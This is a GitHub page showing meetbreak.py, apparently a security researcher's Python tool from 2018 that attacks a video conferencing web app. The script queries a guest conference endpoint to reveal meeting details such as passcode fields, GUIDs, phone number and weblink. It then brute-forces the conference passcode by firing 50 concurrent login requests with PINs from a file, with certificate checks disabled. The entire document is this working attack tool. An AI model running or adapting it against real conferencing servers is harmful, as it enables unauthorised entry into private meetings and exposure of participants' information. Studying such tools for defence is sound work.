-
Notifications
You must be signed in to change notification settings - Fork 4
/
meetbreak.py
131 lines (96 loc) · 4.14 KB
/
meetbreak.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
"""
------------------------------------------------------------------------------
M33TBREAK - Septiembre 2018 - Yamila Levalle @ylevalle
------------------------------------------------------------------------------
"""
#%%%%%%%%%%% Libraries %%%%%%%%%%%#
import json
import requests
import sys
import aiohttp
import asyncio
import concurrent.futures
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
#%%%%%%% Context Variables %%%%%%%#
version = 1.0
#%%%%%%% Functions %%%%%%%#
def banner():
b = """
__ __ _______________ ____ ____ _____ _ _ __
| \/ |___ /___ /_ _| __ )| _ \| ____| / \ | |/ /
| |\/| | |_ \ |_ \ | | | _ \| |_) | _| / _ \ | ' /
| | | |___) |__) || | | |_) | _ <| |___ / ___ \| . \
|_| |_|____/____/ |_| |____/|_| \_\_____/_/ \_\_|\_\
usage: meetbreak.py <targeturl> <conferenceid>
example: meetbreak.py https://meet.example.com 5001
"""
print(b)
def parse_args():
argnumber = len(sys.argv)
arg1 = sys.argv[1]
arg2 = sys.argv[2]
return {'url':arg1,'conferenceid':arg2}
#%%%%%%% Test Passcode %%%%%%%#
async def do_req(urllogin, response, line, semaphore):
async with semaphore:
async with aiohttp.ClientSession() as session:
try:
async with session.post(urllogin, json={"name":"test","passcode":str(line),"guid":response['conferenceGuid'],"sourceGuid":response['sourceGuid'],"conferenceId":response['conferenceId'],"webkitRTC":"true","mozRTC":"false","flash":"false","screenShare":"false","resolutionGuid":response['resolutionGuid']},verify_ssl=False) as query:
data = await query.json()
if (data['reason'] == "unsupportedBrowser" or data['response'] == "success"):
print("[*] ======================================================= [*]")
print("[!] Conference Passcode Guessed: "+ str(line))
print("[*] ======================================================= [*]")
main.guessed = 1
except Exception as e:
pass
def main():
banner()
params = parse_args()
#%%%%%%% Inicialize Parameters %%%%%%%#
urllogin = params.get('url') + "/guestLoginRequest.sf"
url = params.get('url') + "/guestConference.sf"
confid = params.get('conferenceid')
paramsjson = {'id':str(confid),'passcode':""}
main.guessed = 0
#%%%%%%% Print Conference Information %%%%%%%#
try:
query = requests.post(url,json=paramsjson,verify=False)
response = query.json()
except Exception as e:
print(e)
pass
if response['response'] == "success":
print("[*] ======================================================= [*]")
print("[!] Conference Call to Bruteforce:")
print("[*] ID: "+str(response['conferenceId']))
print("[*] Name: "+str(response['name']))
print("[*] Video Address: "+str(response['videoAddress']))
print("[*] Conference GUID: "+str(response['conferenceGuid']))
print("[*] Source GUID: "+str(response['sourceGuid']))
print("[*] Resolution GUID: "+str(response['resolutionGuid']))
print("[*] Passcode: "+str(response['passcode']))
print("[*] Phone Number: "+str(response['phoneNumber']))
print("[*] Weblink: "+str(response['weblink']))
print("[*] ======================================================= [*]")
else:
print ("[!] Error: Invalid Conference ID or the Conference does not have a Passcode")
pass
#%%%%%%% Asyncio Loop to Bruteforce Passcodes from File %%%%%%%#
if (response['response'] == "success" and response['passcode']):
file = open('pins.txt')
futures = []
semaphore = asyncio.BoundedSemaphore(50)
for line in file:
futures.append(do_req(urllogin, response, line, semaphore))
loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.wait(futures))
loop.close()
if (main.guessed == 0):
print("[*] ======================================================= [*]")
print("[!] Sorry, the Passcode of the Conference isn't in the file")
print("[*] ======================================================= [*]")
main()
#%%%%%%%%%% The End %%%%%%%%%%#